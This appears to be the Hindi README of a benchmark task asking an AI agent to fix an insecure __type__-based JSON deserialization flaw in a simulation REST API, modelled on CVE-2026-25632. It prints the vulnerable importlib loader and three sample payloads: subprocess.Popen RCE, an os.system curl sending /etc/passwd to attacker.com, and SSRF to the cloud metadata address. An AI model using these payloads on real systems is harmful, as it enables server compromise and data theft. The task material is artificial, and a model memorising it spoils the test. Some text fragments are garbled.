
CVE-2026-25632 — रिमोट कोड निष्पादन की ओर ले जाने वाले असुरक्षित JSON डिसीरियलाइज़ेशन को ठीक करें
एक वास्तविक 2026 भेद्यता (CVSS 10.0, सक्रिय रूप से शोषित) से प्रेरित
आधार: CVE-2026-25632 — EPyT-Flow जल-नेटवर्क सिमुलेशन REST API में असुरक्षित__type__-आधारित JSON डिसीरियलाइज़ेशन के माध्यम से रिमोट कोड निष्पादन, जिसे 2026 की शुरुआत में सार्वजनिक रूप से प्रकट किया गया था।
NovaSim एक Python-आधारित सिमुलेशन फ्रेमवर्क है जो वैज्ञानिक प्रयोगों के रिमोट नियंत्रण के लिए एक REST API प्रदान करता है। विषम क्लाइंट वातावरणों में लचीले ऑब्जेक्ट सीरियलाइज़ेशन का समर्थन करने के लिए, एक डेवलपर ने एक कस्टम JSON लोडर जोड़ा जो एक विशेष __type__ फ़ील्ड का पता लगाता है और संदर्भित Python क्लास को importlib का उपयोग करके गतिशील रूप से आयात और इंस्टैंशिएट करता है।
यह पैटर्न 2026 में एक प्रमुख ओपन-सोर्स प्रोजेक्ट में क्रिटिकल रिमोट कोड निष्पादन (RCE) भेद्यता के रूप में प्रकट किया गया था। सुरक्षा शोधकर्ताओं ने पहचाना कि एक हमलावर जो JSON बॉडी को नियंत्रित करता है, Python मानक पुस्तकालय में किसी भी कॉलेबल को लक्षित करते हुए एक गैजेट चेन बना सकता है — जिसमें subprocess.Popen, os.system, , और 25+ SSRF गैजेट शामिल हैं — और एक ही HTTP अनुरोध के साथ पूर्ण सर्वर समझौता प्राप्त कर सकता है, ।
evalआपको src/solution.py का भेद्य संस्करण दिया गया है, जिसमें वास्तविक असुरक्षित डिसीरियलाइज़ेशन पैटर्न मौजूद है।
आपका लक्ष्य: DeserializationService.load_from_json() में भेद्यता को ठीक करना ताकि:
SecurityError उठाए।__type__ फ़ील्ड अब मनमाना मॉड्यूल आयात या क्लास इंस्टैंशिएशन सक्षम न करे।__type__ JSON) सामान्य रूप से लोड होता रहे।# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
एक हमलावर निम्नलिखित निर्मित JSON बॉडी के साथ POST अनुरोध भेजता है:
वेक्टर 1 — subprocess के माध्यम से सीधा RCE:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
वेक्टर 2 — os.system के माध्यम से RCE:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
वेक्टर 3 — urllib.request.urlopen के माध्यम से SSRF:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
सुरक्षा शोधकर्ताओं ने अकेले Python मानक पुस्तकालय के माध्यम से इस तरह पहुंच योग्य 12 प्रत्यक्ष RCE गैजेट और 25 SSRF गैजेट प्रलेखित किए हैं।
निम्नलिखित, और केवल निम्नलिखित, सिमुलेशन ऑब्जेक्ट प्रकारों को __type__ के माध्यम से डिसीरियलाइज़ किया जा सकता है:
__type__ मान | Python क्लास |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
कोई भी अन्य __type__ मान किसी भी आयात या इंस्टैंशिएशन से पहले तुरंत SecurityError उठाए, यह अनिवार्य है।
JSON ऑब्जेक्ट्स जो DeserializationService.load_from_json(raw: str) -> dict | SimObject को प्रस्तुत किए जाते हैं।
__type__ कुंजी नहीं है: dict लौटाएं (पार्स किया गया JSON)।__type__ है: संबंधित सिमुलेशन ऑब्जेक्ट इंस्टेंस लौटाएं।__type__ अनुमत सूची में शामिल नहीं है: SecurityError उठाएं, संदेश: "Blocked unsafe type: <type_value>"।ValueError उठाएं, संदेश: "Invalid JSON payload"।| परिदृश्य | अपेक्षित व्यवहार |
|---|---|
__type__ अनुपस्थित | पार्स करके सादा dict के रूप में लौटाएं |
__type__ = "simulation.Sensor" | Sensor(**args) इंस्टैंशिएट करें |
__type__ = "subprocess.Popen" | SecurityError उठाएं |
__type__ = "os.system" | SecurityError उठाएं |
__type__ = "__builtins__.eval" | SecurityError उठाएं |
__type__ = "" (खाली स्ट्रिंग) | SecurityError उठाएं |
__type__ = एक list या integer | SecurityError उठाएं (अमान्य type फ़ील्ड) |
| Malformed JSON स्ट्रिंग | ValueError उठाएं |
| वैध ऑब्जेक्ट में अतिरिक्त अज्ञात फ़ील्ड | स्वीकार किए जाते हैं, कंस्ट्रक्टर को kwargs के रूप में पास किए जाते हैं |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
फिक्स को निम्नलिखित सभी परीक्षणों को पास करना होगा: